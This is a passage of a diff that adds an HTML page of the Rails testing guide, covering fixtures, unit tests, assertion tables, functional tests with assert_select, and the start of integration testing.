+  brightest_on: &lt;%= 67.days.ago.to_s(:db) %&gt;
+
+mars:
+  size: &lt;%= earth_size - 69 %&gt;
+  brightest_on: &lt;%= 13.days.from_now.to_s(:db) %&gt;
+</pre>
+</div>
+</notextile>
+
+<p>Anything encased within the</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; html-script: true; gutter: false; toolbar: false">
+&lt;% %&gt;
+</pre>
+</div>
+</notextile>
+
+<p>tag is considered Ruby code. When this fixture is loaded, the <tt>size</tt> attribute of the three records will be set to 20/50, 20/2, and 20-69 respectively. The <tt>brightest_on</tt> attribute will also be evaluated and formatted by Rails to be compatible with the database.</p>
+<h5 id="fixtures-in-action">2.3.4 Fixtures in Action</h5>
+<p>Rails by default automatically loads all fixtures from the <tt>test/fixtures</tt> folder for your unit and functional test. Loading involves three steps:</p>
+<ul>
+	<li>Remove any existing data from the table corresponding to the fixture</li>
+	<li>Load the fixture data into the table</li>
+	<li>Dump the fixture data into a variable in case you want to access it directly</li>
+</ul>
+<h5 id="hashes-with-special-powers">2.3.5 Hashes with Special Powers</h5>
+<p>Fixtures are basically Hash objects. As mentioned in point #3 above, you can access the hash object directly because it is automatically setup as a local variable of the test case. For example:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+# this will return the Hash for the fixture named david
+users(:david)
+
+# this will return the property for david called id
+users(:david).id
+</pre>
+</div>
+</notextile>
+
+<p>Fixtures can also transform themselves into the form of the original class. Thus, you can get at the methods only available to that class.</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+# using the find method, we grab the &quot;real&quot; david as a User
+david = users(:david).find
+
+# and now we have access to methods only available to a User class
+email(david.girlfriend.email, david.location_tonight)
+</pre>
+</div>
+</notextile>
+
+<h3 id="unit-testing-your-models">3 Unit Testing your Models</h3>
+<p>In Rails, unit tests are what you write to test your models.</p>
+<p>For this guide we will be using Rails <em>scaffolding</em>. It will create the model, a migration, controller and views for the new resource in a single operation. It will also create a full test suite following Rails best practices. I will be using examples from this generated code and will be supplementing it with additional examples where necessary.</p>
+<div class='note'><p>For more information on Rails <i>scaffolding</i>, refer to <a href="getting_started.html">Getting Started with Rails</a></p></div>
+<p>When you use <tt>rails generate scaffold</tt>, for a resource among other things it creates a test stub in the <tt>test/unit</tt> folder:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: plain; gutter: false; toolbar: false">
+$ rails generate scaffold post title:string body:text
+...
+create  app/models/post.rb
+create  test/unit/post_test.rb
+create  test/fixtures/posts.yml
+...
+</pre>
+</div>
+</notextile>
+
+<p>The default test stub in <tt>test/unit/post_test.rb</tt> looks like this:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+require 'test_helper'
+
+class PostTest &lt; ActiveSupport::TestCase
+  # Replace this with your real tests.
+  test &quot;the truth&quot; do
+    assert true
+  end
+end
+</pre>
+</div>
+</notextile>
+
+<p>A line by line examination of this file will help get you oriented to Rails testing code and terminology.</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+require 'test_helper'
+</pre>
+</div>
+</notextile>
+
+<p>As you know by now, <tt>test_helper.rb</tt> specifies the default configuration to run our tests. This is included with all the tests, so any methods added to this file are available to all your tests.</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+class PostTest &lt; ActiveSupport::TestCase
+</pre>
+</div>
+</notextile>
+
+<p>The <tt>PostTest</tt> class defines a <em>test case</em> because it inherits from <tt>ActiveSupport::TestCase</tt>. <tt>PostTest</tt> thus has all the methods available from <tt>ActiveSupport::TestCase</tt>. You&#8217;ll see those methods a little later in this guide.</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+def test_truth
+</pre>
+</div>
+</notextile>
+
+<p>Any method defined within a <tt>Test::Unit</tt> test case that begins with <tt>test</tt> (case sensitive) is simply called a test. So, <tt>test_password</tt>, <tt>test_valid_password</tt> and <tt>testValidPassword</tt> all are legal test names and are run automatically when the test case is run.</p>
+<p>Rails adds a <tt>test</tt> method that takes a test name and a block. It generates a normal <tt>Test::Unit</tt> test with method names prefixed with <tt>test_</tt>.</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+test &quot;the truth&quot; do
+  # ...
+end
+</pre>
+</div>
+</notextile>
+
+<p>This makes test names more readable by replacing underscores with regular language.</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+assert true
+</pre>
+</div>
+</notextile>
+
+<p>This line of code is called an <em>assertion</em>. An assertion is a line of code that evaluates an object (or expression) for expected results. For example, an assertion can check:</p>
+<ul>
+	<li>does this value = that value?</li>
+	<li>is this object nil?</li>
+	<li>does this line of code throw an exception?</li>
+	<li>is the user&#8217;s password greater than 5 characters?</li>
+</ul>
+<p>Every test contains one or more assertions. Only when all the assertions are successful will the test pass.</p>
+<h4 id="preparing-your-application-for-testing">3.1 Preparing your Application for Testing</h4>
+<p>Before you can run your tests, you need to ensure that the test database structure is current. For this you can use the following rake commands:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: plain; gutter: false; toolbar: false">
+$ rake db:migrate
+...
+$ rake db:test:load
+</pre>
+</div>
+</notextile>
+
+<p>Above <tt>rake db:migrate</tt> runs any pending migrations on the <em>development</em> environment and updates <tt>db/schema.rb</tt>. <tt>rake db:test:load</tt> recreates the test database from the current <tt>db/schema.rb</tt>. On subsequent attempts, it is a good idea to first run <tt>db:test:prepare</tt>, as it first checks for pending migrations and warns you appropriately.</p>
+<div class='note'><p><tt>db:test:prepare</tt> will fail with an error if <tt>db/schema.rb</tt> doesn&#8217;t exists.</p></div>
+<h5 id="rake-tasks-for-preparing-your-application-for-testing">3.1.1 Rake Tasks for Preparing your Application for Testing</h5>
+<table>
+	<tr>
+		<th>Tasks                         </th>
+		<th>Description</th>
+	</tr>
+	<tr>
+		<td><tt>rake db:test:clone</tt>            </td>
+		<td>Recreate the test database from the current environment&#8217;s database schema</td>
+	</tr>
+	<tr>
+		<td><tt>rake db:test:clone_structure</tt>  </td>
+		<td>Recreate the test databases from the development structure</td>
+	</tr>
+	<tr>
+		<td><tt>rake db:test:load</tt>             </td>
+		<td>Recreate the test database from the current <tt>schema.rb</tt></td>
+	</tr>
+	<tr>
+		<td><tt>rake db:test:prepare</tt>          </td>
+		<td>Check for pending migrations and load the test schema</td>
+	</tr>
+	<tr>
+		<td><tt>rake db:test:purge</tt>            </td>
+		<td>Empty the test database.</td>
+	</tr>
+</table>
+<div class='info'><p>You can see all these rake tasks and their descriptions by running <tt>rake --tasks --describe</tt></p></div>
+<h4 id="running-tests">3.2 Running Tests</h4>
+<p>Running a test is as simple as invoking the file containing the test cases through Ruby:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: plain; gutter: false; toolbar: false">
+$ cd test
+$ ruby unit/post_test.rb
+
+Loaded suite unit/post_test
+Started
+.
+Finished in 0.023513 seconds.
+
+1 tests, 1 assertions, 0 failures, 0 errors
+</pre>
+</div>
+</notextile>
+
+<p>This will run all the test methods from the test case.</p>
+<p>You can also run a particular test method from the test case by using the <tt>-n</tt> switch with the <tt>test method name</tt>.</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: plain; gutter: false; toolbar: false">
+$ ruby unit/post_test.rb -n test_truth
+
+Loaded suite unit/post_test
+Started
+.
+Finished in 0.023513 seconds.
+
+1 tests, 1 assertions, 0 failures, 0 errors
+</pre>
+</div>
+</notextile>
+
+<p>The <tt>.</tt> (dot) above indicates a passing test. When a test fails you see an <tt>F</tt>; when a test throws an error you see an <tt>E</tt> in its place. The last line of the output is the summary.</p>
+<p>To see how a test failure is reported, you can add a failing test to the <tt>post_test.rb</tt> test case.</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+test &quot;should not save post without title&quot; do
+  post = Post.new
+  assert !post.save
+end
+</pre>
+</div>
+</notextile>
+
+<p>Let us run this newly added test.</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: plain; gutter: false; toolbar: false">
+$ ruby unit/post_test.rb -n test_should_not_save_post_without_title
+Loaded suite -e
+Started
+F
+Finished in 0.102072 seconds.
+
+  1) Failure:
+test_should_not_save_post_without_title(PostTest) [/test/unit/post_test.rb:6]:
+&lt;false&gt; is not true.
+
+1 tests, 1 assertions, 1 failures, 0 errors
+</pre>
+</div>
+</notextile>
+
+<p>In the output, <tt>F</tt> denotes a failure. You can see the corresponding trace shown under <tt>1)</tt> along with the name of the failing test. The next few lines contain the stack trace followed by a message which mentions the actual value and the expected value by the assertion. The default assertion messages provide just enough information to help pinpoint the error. To make the assertion failure message more readable, every assertion provides an optional message parameter, as shown here:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+test &quot;should not save post without title&quot; do
+  post = Post.new
+  assert !post.save, &quot;Saved the post without a title&quot;
+end
+</pre>
+</div>
+</notextile>
+
+<p>Running this test shows the friendlier assertion message:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: plain; gutter: false; toolbar: false">
+1) Failure:
+test_should_not_save_post_without_title(PostTest) [/test/unit/post_test.rb:6]:
+Saved the post without a title.
+&lt;false&gt; is not true.
+</pre>
+</div>
+</notextile>
+
+<p>Now to get this test to pass we can add a model level validation for the <em>title</em> field.</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+class Post &lt; ActiveRecord::Base
+  validates_presence_of :title
+end
+</pre>
+</div>
+</notextile>
+
+<p>Now the test should pass. Let us verify by running the test again:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: plain; gutter: false; toolbar: false">
+$ ruby unit/post_test.rb -n test_should_not_save_post_without_title
+Loaded suite unit/post_test
+Started
+.
+Finished in 0.193608 seconds.
+
+1 tests, 1 assertions, 0 failures, 0 errors
+</pre>
+</div>
+</notextile>
+
+<p>Now, if you noticed, we first wrote a test which fails for a desired functionality, then we wrote some code which adds the functionality and finally we ensured that our test passes. This approach to software development is referred to as <em>Test-Driven Development</em> (<span class="caps">TDD</span>).</p>
+<div class='info'><p>Many Rails developers practice <em>Test-Driven Development</em> (<span class="caps">TDD</span>). This is an excellent way to build up a test suite that exercises every part of your application. <span class="caps">TDD</span> is beyond the scope of this guide, but one place to start is with <a href="http://andrzejonsoftware.blogspot.com/2007/05/15-tdd-steps-to-create-rails.html">15 <span class="caps">TDD</span> steps to create a Rails application</a>.</p></div>
+<p>To see how an error gets reported, here&#8217;s a test containing an error:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+test &quot;should report error&quot; do
+  # some_undefined_variable is not defined elsewhere in the test case
+  some_undefined_variable
+  assert true
+end
+</pre>
+</div>
+</notextile>
+
+<p>Now you can see even more output in the console from running the tests:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: plain; gutter: false; toolbar: false">
+$ ruby unit/post_test.rb -n test_should_report_error
+Loaded suite -e
+Started
+E
+Finished in 0.082603 seconds.
+
+  1) Error:
+test_should_report_error(PostTest):
+NameError: undefined local variable or method `some_undefined_variable' for #&lt;PostTest:0x249d354&gt;
+    /test/unit/post_test.rb:6:in `test_should_report_error'
+
+1 tests, 0 assertions, 0 failures, 1 errors
+</pre>
+</div>
+</notextile>
+
+<p>Notice the &#8216;E&#8217; in the output. It denotes a test with error.</p>
+<div class='note'><p>The execution of each test method stops as soon as any error or an assertion failure is encountered, and the test suite continues with the next method. All test methods are executed in alphabetical order.</p></div>
+<h4 id="what-to-include-in-your-unit-tests">3.3 What to Include in Your Unit Tests</h4>
+<p>Ideally, you would like to include a test for everything which could possibly break. It&#8217;s a good practice to have at least one test for each of your validations and at least one test for every method in your model.</p>
+<h4 id="assertions-available">3.4 Assertions Available</h4>
+<p>By now you&#8217;ve caught a glimpse of some of the assertions that are available. Assertions are the worker bees of testing. They are the ones that actually perform the checks to ensure that things are going as planned.</p>
+<p>There are a bunch of different types of assertions you can use. Here&#8217;s the complete list of assertions that ship with <tt>test/unit</tt>, the default testing library used by Rails. The <tt>[msg]</tt> parameter is an optional string message you can specify to make your test failure messages clearer. It&#8217;s not required.</p>
+<table>
+	<tr>
+		<th>Assertion                                                       </th>
+		<th>Purpose</th>
+	</tr>
+	<tr>
+		<td><tt>assert( boolean, [msg] )</tt>                                        </td>
+		<td>Ensures that the object/expression is true.</td>
+	</tr>
+	<tr>
+		<td><tt>assert_equal( obj1, obj2, [msg] )</tt>                               </td>
+		<td>Ensures that <tt>obj1 == obj2</tt> is true.</td>
+	</tr>
+	<tr>
+		<td><tt>assert_not_equal( obj1, obj2, [msg] )</tt>                           </td>
+		<td>Ensures that <tt>obj1 == obj2</tt> is false.</td>
+	</tr>
+	<tr>
+		<td><tt>assert_same( obj1, obj2, [msg] )</tt>			                       </td>
+		<td>Ensures that <tt>obj1.equal?(obj2)</tt> is true.</td>
+	</tr>
+	<tr>
+		<td><tt>assert_not_same( obj1, obj2, [msg] )</tt>                            </td>
+		<td>Ensures that <tt>obj1.equal?(obj2)</tt> is false.</td>
+	</tr>
+	<tr>
+		<td><tt>assert_nil( obj, [msg] )</tt>                                        </td>
+		<td>Ensures that <tt>obj.nil?</tt> is true.</td>
+	</tr>
+	<tr>
+		<td><tt>assert_not_nil( obj, [msg] )</tt>                                    </td>
+		<td>Ensures that <tt>obj.nil?</tt> is false.</td>
+	</tr>
+	<tr>
+		<td><tt>assert_match( regexp, string, [msg] )</tt>                           </td>
+		<td>Ensures that a string matches the regular expression.</td>
+	</tr>
+	<tr>
+		<td><tt>assert_no_match( regexp, string, [msg] )</tt>                        </td>
+		<td>Ensures that a string doesn&#8217;t matches the regular expression.</td>
+	</tr>
+	<tr>
+		<td><tt>assert_in_delta( expecting, actual, delta, [msg] )</tt>              </td>
+		<td>Ensures that the numbers <tt>expecting</tt> and <tt>actual</tt> are within <tt>delta</tt> of each other.</td>
+	</tr>
+	<tr>
+		<td><tt>assert_throws( symbol, [msg] ) { block }</tt>                        </td>
+		<td>Ensures that the given block throws the symbol.</td>
+	</tr>
+	<tr>
+		<td><tt>assert_raise( exception1, exception2, ... ) { block }</tt>          </td>
+		<td>Ensures that the given block raises one of the given exceptions.</td>
+	</tr>
+	<tr>
+		<td><tt>assert_nothing_raised( exception1, exception2, ... ) { block }</tt>  </td>
+		<td>Ensures that the given block doesn&#8217;t raise one of the given exceptions.</td>
+	</tr>
+	<tr>
+		<td><tt>assert_instance_of( class, obj, [msg] )</tt>                         </td>
+		<td>Ensures that <tt>obj</tt> is of the <tt>class</tt> type.</td>
+	</tr>
+	<tr>
+		<td><tt>assert_kind_of( class, obj, [msg] )</tt>                             </td>
+		<td>Ensures that <tt>obj</tt> is or descends from <tt>class</tt>.</td>
+	</tr>
+	<tr>
+		<td><tt>assert_respond_to( obj, symbol, [msg] )</tt>                         </td>
+		<td>Ensures that <tt>obj</tt> has a method called <tt>symbol</tt>.</td>
+	</tr>
+	<tr>
+		<td><tt>assert_operator( obj1, operator, obj2, [msg] )</tt>                  </td>
+		<td>Ensures that <tt>obj1.operator(obj2)</tt> is true.</td>
+	</tr>
+	<tr>
+		<td><tt>assert_send( array, [msg] )</tt>                                     </td>
+		<td>Ensures that executing the method listed in <tt>array[1]</tt> on the object in <tt>array[0]</tt> with the parameters of <tt>array[2 and up]</tt> is true. This one is weird eh?</td>
+	</tr>
+	<tr>
+		<td><tt>flunk( [msg] )</tt>                                                  </td>
+		<td>Ensures failure. This is useful to explicitly mark a test that isn&#8217;t finished yet.</td>
+	</tr>
+</table>
+<p>Because of the modular nature of the testing framework, it is possible to create your own assertions. In fact, that&#8217;s exactly what Rails does. It includes some specialized assertions to make your life easier.</p>
+<div class='note'><p>Creating your own assertions is an advanced topic that we won&#8217;t cover in this tutorial.</p></div>
+<h4 id="rails-specific-assertions">3.5 Rails Specific Assertions</h4>
+<p>Rails adds some custom assertions of its own to the <tt>test/unit</tt> framework:</p>
+<div class='note'><p><tt>assert_valid(record)</tt> has been deprecated. Please use <tt>assert(record.valid?)</tt> instead.</p></div>
+<table>
+	<tr>
+		<th>Assertion                                                                        </th>
+		<th>Purpose</th>
+	</tr>
+	<tr>
+		<td><tt>assert_valid(record)</tt>                                                             </td>
+		<td>Ensures that the passed record is valid by Active Record standards and returns any error messages if it is not.</td>
+	</tr>
+	<tr>
+		<td><tt>assert_difference(expressions, difference = 1, message = nil) {...}</tt>           </td>
+		<td>Test numeric difference between the return value of an expression as a result of what is evaluated in the yielded block.</td>
+	</tr>
+	<tr>
+		<td><tt>assert_no_difference(expressions, message = nil, &amp;block)</tt>                         </td>
+		<td>Asserts that the numeric result of evaluating an expression is not changed before and after invoking the passed in block.</td>
+	</tr>
+	<tr>
+		<td><tt>assert_recognizes(expected_options, path, extras={}, message=nil)</tt>                </td>
+		<td>Asserts that the routing of the given path was handled correctly and that the parsed options (given in the expected_options hash) match path. Basically, it asserts that Rails recognizes the route given by expected_options.</td>
+	</tr>
+	<tr>
+		<td><tt>assert_generates(expected_path, options, defaults={}, extras = {}, message=nil)</tt>  </td>
+		<td>Asserts that the provided options can be used to generate the provided path. This is the inverse of assert_recognizes. The extras parameter is used to tell the request the names and values of additional request parameters that would be in a query string. The message parameter allows you to specify a custom error message for assertion failures.</td>
+	</tr>
+	<tr>
+		<td><tt>assert_response(type, message = nil)</tt>                                             </td>
+		<td>Asserts that the response comes with a specific status code. You can specify <tt>:success</tt> to indicate 200,  <tt>:redirect</tt> to indicate 300-399, <tt>:missing</tt> to indicate 404, or <tt>:error</tt> to match the 500-599 range</td>
+	</tr>
+	<tr>
+		<td><tt>assert_redirected_to(options = {}, message=nil)</tt>                                  </td>
+		<td>Assert that the redirection options passed in match those of the redirect called in the latest action. This match can be partial, such that <tt>assert_redirected_to(:controller => "weblog")</tt> will also match the redirection of <tt>redirect_to(:controller => "weblog", :action => "show")</tt> and so on.</td>
+	</tr>
+	<tr>
+		<td><tt>assert_template(expected = nil, message=nil)</tt>                                     </td>
+		<td>Asserts that the request was rendered with the appropriate template file.</td>
+	</tr>
+</table>
+<p>You&#8217;ll see the usage of some of these assertions in the next chapter.</p>
+<h3 id="functional-tests-for-your-controllers">4 Functional Tests for Your Controllers</h3>
+<p>In Rails, testing the various actions of a single controller is called writing functional tests for that controller. Controllers handle the incoming web requests to your application and eventually respond with a rendered view.</p>
+<h4 id="what-to-include-in-your-functional-tests">4.1 What to Include in your Functional Tests</h4>
+<p>You should test for things such as:</p>
+<ul>
+	<li>was the web request successful?</li>
+	<li>was the user redirected to the right page?</li>
+	<li>was the user successfully authenticated?</li>
+	<li>was the correct object stored in the response template?</li>
+	<li>was the appropriate message displayed to the user in the view?</li>
+</ul>
+<p>Now that we have used Rails scaffold generator for our <tt>Post</tt> resource, it has already created the controller code and functional tests. You can take look at the file <tt>posts_controller_test.rb</tt> in the <tt>test/functional</tt> directory.</p>
+<p>Let me take you through one such test, <tt>test_should_get_index</tt> from the file <tt>posts_controller_test.rb</tt>.</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+test &quot;should get index&quot; do
+  get :index
+  assert_response :success
+  assert_not_nil assigns(:posts)
+end
+</pre>
+</div>
+</notextile>
+
+<p>In the <tt>test_should_get_index</tt> test, Rails simulates a request on the action called <tt>index</tt>, making sure the request was successful and also ensuring that it assigns a valid <tt>posts</tt> instance variable.</p>
+<p>The <tt>get</tt> method kicks off the web request and populates the results into the response. It accepts 4 arguments:</p>
+<ul>
+	<li>The action of the controller you are requesting. This can be in the form of a string or a symbol.</li>
+	<li>An optional hash of request parameters to pass into the action (eg. query string parameters or post variables).</li>
+	<li>An optional hash of session variables to pass along with the request.</li>
+	<li>An optional hash of flash values.</li>
+</ul>
+<p>Example: Calling the <tt>:show</tt> action, passing an <tt>id</tt> of 12 as the <tt>params</tt> and setting a <tt>user_id</tt> of 5 in the session:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+get(:show, {'id' =&gt; &quot;12&quot;}, {'user_id' =&gt; 5})
+</pre>
+</div>
+</notextile>
+
+<p>Another example: Calling the <tt>:view</tt> action, passing an <tt>id</tt> of 12 as the <tt>params</tt>, this time with no session, but with a flash message.</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+get(:view, {'id' =&gt; '12'}, nil, {'message' =&gt; 'booya!'})
+</pre>
+</div>
+</notextile>
+
+<div class='note'><p>If you try running <tt>test_should_create_post</tt> test from <tt>posts_controller_test.rb</tt> it will fail on account of the newly added model level validation and rightly so.</p></div>
+<p>Let us modify <tt>test_should_create_post</tt> test in <tt>posts_controller_test.rb</tt> so that all our test pass:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+test &quot;should create post&quot; do
+  assert_difference('Post.count') do
+    post :create, :post =&gt; { :title =&gt; 'Some title'}
+  end
+
+  assert_redirected_to post_path(assigns(:post))
+end
+</pre>
+</div>
+</notextile>
+
+<p>Now you can try running all the tests and they should pass.</p>
+<h4 id="available-request-types-for-functional-tests">4.2 Available Request Types for Functional Tests</h4>
+<p>If you&#8217;re familiar with the <span class="caps">HTTP</span> protocol, you&#8217;ll know that <tt>get</tt> is a type of request. There are 5 request types supported in Rails functional tests:</p>
+<ul>
+	<li><tt>get</tt></li>
+	<li><tt>post</tt></li>
+	<li><tt>put</tt></li>
+	<li><tt>head</tt></li>
+	<li><tt>delete</tt></li>
+</ul>
+<p>All of request types are methods that you can use, however, you&#8217;ll probably end up using the first two more often than the others.</p>
+<h4 id="the-four-hashes-of-the-apocalypse">4.3 The Four Hashes of the Apocalypse</h4>
+<p>After a request has been made by using one of the 5 methods (<tt>get</tt>, <tt>post</tt>, etc.) and processed, you will have 4 Hash objects ready for use:</p>
+<ul>
+	<li><tt>assigns</tt> &#8211; Any objects that are stored as instance variables in actions for use in views.</li>
+	<li><tt>cookies</tt> &#8211; Any cookies that are set.</li>
+	<li><tt>flash</tt> &#8211; Any objects living in the flash.</li>
+	<li><tt>session</tt> &#8211; Any object living in session variables.</li>
+</ul>
+<p>As is the case with normal Hash objects, you can access the values by referencing the keys by string. You can also reference them by symbol name, except for <tt>assigns</tt>. For example:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+flash[&quot;gordon&quot;]               flash[:gordon]
+  session[&quot;shmession&quot;]          session[:shmession]
+  cookies[&quot;are_good_for_u&quot;]     cookies[:are_good_for_u]
+
+# Because you can't use assigns[:something] for historical reasons:
+  assigns[&quot;something&quot;]          assigns(:something)
+</pre>
+</div>
+</notextile>
+
+<h4 id="instance-variables-available">4.4 Instance Variables Available</h4>
+<p>You also have access to three instance variables in your functional tests:</p>
+<ul>
+	<li><tt>@controller</tt> &#8211; The controller processing the request</li>
+	<li><tt>@request</tt> &#8211; The request</li>
+	<li><tt>@response</tt> &#8211; The response</li>
+</ul>
+<h4 id="a-fuller-functional-test-example">4.5 A Fuller Functional Test Example</h4>
+<p>Here&#8217;s another example that uses <tt>flash</tt>, <tt>assert_redirected_to</tt>, and <tt>assert_difference</tt>:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+test &quot;should create post&quot; do
+  assert_difference('Post.count') do
+    post :create, :post =&gt; { :title =&gt; 'Hi', :body =&gt; 'This is my first post.'}
+  end
+  assert_redirected_to post_path(assigns(:post))
+  assert_equal 'Post was successfully created.', flash[:notice]
+end
+</pre>
+</div>
+</notextile>
+
+<h4 id="testing-views">4.6 Testing Views</h4>
+<p>Testing the response to your request by asserting the presence of key <span class="caps">HTML</span> elements and their content is a useful way to test the views of your application. The <tt>assert_select</tt> assertion allows you to do this by using a simple yet powerful syntax.</p>
+<div class='note'><p>You may find references to <tt>assert_tag</tt> in other documentation, but this is now deprecated in favor of <tt>assert_select</tt>.</p></div>
+<p>There are two forms of <tt>assert_select</tt>:</p>
+<p><tt>assert_select(selector, [equality], [message])</tt> ensures that the equality condition is met on the selected elements through the selector. The selector may be a <span class="caps">CSS</span> selector expression (String), an expression with substitution values, or an <tt>HTML::Selector</tt> object.</p>
+<p><tt>assert_select(element, selector, [equality], [message])</tt> ensures that the equality condition is met on all the selected elements through the selector starting from the <em>element</em> (instance of <tt>HTML::Node</tt>) and its descendants.</p>
+<p>For example, you could verify the contents on the title element in your response with:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+assert_select 'title', &quot;Welcome to Rails Testing Guide&quot;
+</pre>
+</div>
+</notextile>
+
+<p>You can also use nested <tt>assert_select</tt> blocks. In this case the inner <tt>assert_select</tt> runs the assertion on the complete collection of elements selected by the outer <tt>assert_select</tt> block:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+assert_select 'ul.navigation' do
+  assert_select 'li.menu_item'
+end
+</pre>
+</div>
+</notextile>
+
+<p>Alternatively the collection of elements selected by the outer <tt>assert_select</tt> may be iterated through so that <tt>assert_select</tt> may be called separately for each element. Suppose for example that the response contains two ordered lists, each with four list elements then the following tests will both pass.</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+assert_select &quot;ol&quot; do |elements|
+  elements.each do |element|
+    assert_select element, &quot;li&quot;, 4
+  end
+end
+
+assert_select &quot;ol&quot; do
+  assert_select &quot;li&quot;, 8
+end
+</pre>
+</div>
+</notextile>
+
+<p>The <tt>assert_select</tt> assertion is quite powerful. For more advanced usage, refer to its <a href="http://api.rubyonrails.org/classes/ActionController/Assertions/SelectorAssertions.html">documentation</a>.</p>
+<h5 id="additional-view-based-assertions">4.6.1 Additional View-Based Assertions</h5>
+<p>There are more assertions that are primarily used in testing views:</p>
+<table>
+	<tr>
+		<th>Assertion                                                                        </th>
+		<th>Purpose</th>
+	</tr>
+	<tr>
+		<td><tt>assert_select_email</tt>                                                              </td>
+		<td>Allows you to make assertions on the body of an e-mail. </td>
+	</tr>
+	<tr>
+		<td><tt>assert_select_rjs</tt>                                                                </td>
+		<td>Allows you to make assertions on an <span class="caps">RJS</span> response. <tt>assert_select_rjs</tt> has variants which allow you to narrow down on the updated element or even a particular operation on an element.</td>
+	</tr>
+	<tr>
+		<td><tt>assert_select_encoded</tt>                                                            </td>
+		<td>Allows you to make assertions on encoded <span class="caps">HTML</span>. It does this by un-encoding the contents of each element and then calling the block with all the un-encoded elements.</td>
+	</tr>
+	<tr>
+		<td><tt>css_select(selector)</tt>  or <tt>css_select(element, selector)</tt>                         </td>
+		<td>Returns an array of all the elements selected by the <em>selector</em>. In the second variant it first matches the base <em>element</em> and tries to match the <em>selector</em> expression on any of its children. If there are no matches both variants return an empty array.</td>
+	</tr>
+</table>
+<p>Here&#8217;s an example of using <tt>assert_select_email</tt>:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+assert_select_email do
+  assert_select 'small', 'Please click the &quot;Unsubscribe&quot; link if you want to opt-out.'
+end
+</pre>
+</div>
+</notextile>
+
+<h3 id="integration-testing">5 Integration Testing</h3>
+<p>Integration tests are used to test the interaction among any number of controllers. They are generally used to test important work flows within your application.</p>
+<p>Unlike Unit and Functional tests, integration tests have to be explicitly created under the &#8216;test/integration&#8217; folder within your application. Rails provides a generator to create an integration test skeleton for you.</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: plain; gutter: false; toolbar: false">
+$ rails generate integration_test user_flows
+      exists  test/integration/
+      create  test/integration/user_flows_test.rb
+</pre>
+</div>
+</notextile>
+
+<p>Here&#8217;s what a freshly-generated integration test looks like:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+require 'test_helper'
+
+class UserFlowsTest &lt; ActionController::IntegrationTest
+  fixtures :all
+
+  # Replace this with your real tests.
+  test &quot;the truth&quot; do
+    assert true
+  end
+end
+</pre>
+</div>
+</notextile>
+
+<p>Integration tests inherit from <tt>ActionController::IntegrationTest</tt>. This makes available some additional helpers to use in your integration tests. Also you need to explicitly include the fixtures to be made available to the test.</p>
+<h4 id="helpers-available-for-integration-tests">5.1 Helpers Available for Integration Tests</h4>
+<p>In addition to the standard testing helpers, there are some additional helpers available to integration tests:</p>
+<table>
+	<tr>
+		<th>Helper                                                                           </th>
+		<th>Purpose</th>
+	</tr>
+	<tr>
+		<td><tt>https?</tt>                                                                           </td>
+		<td>Returns <tt>true</tt> if the session is mimicking a secure <span class="caps">HTTPS</span> request.</td>
+	</tr>
+	<tr>
+		<td><tt>https!</tt>                                                                           </td>
+		<td>Allows you to mimic a secure <span class="caps">HTTPS</span> request.</td>
+	</tr>
+	<tr>
+		<td><tt>host!</tt>                                                                            </td>
+		<td>Allows you to set the host name to use in the next request.</td>
+	</tr>
+	<tr>
+		<td><tt>redirect?</tt>                                                                        </td>
+		<td>Returns <tt>true</tt> if the last request was a redirect.</td>
+	</tr>
+	<tr>
+		<td><tt>follow_redirect!</tt>                                                                 </td>
+		<td>Follows a single redirect response.</td>
+	</tr>
+	<tr>
+		<td><tt>request_via_redirect(http_method, path, [parameters], [headers])</tt>                 </td>
+		<td>Allows you to make an <span class="caps">HTTP</span> request and follow any subsequent redirects.</td>
+	</tr>
+	<tr>
+		<td><tt>post_via_redirect(path, [parameters], [headers])</tt>                                 </td>
+		<td>Allows you to make an <span class="caps">HTTP</span> <span class="caps">POST</span> request and follow any subsequent redirects.</td>
+	</tr>
+	<tr>
+		<td><tt>get_via_redirect(path, [parameters], [headers])</tt>                                  </td>
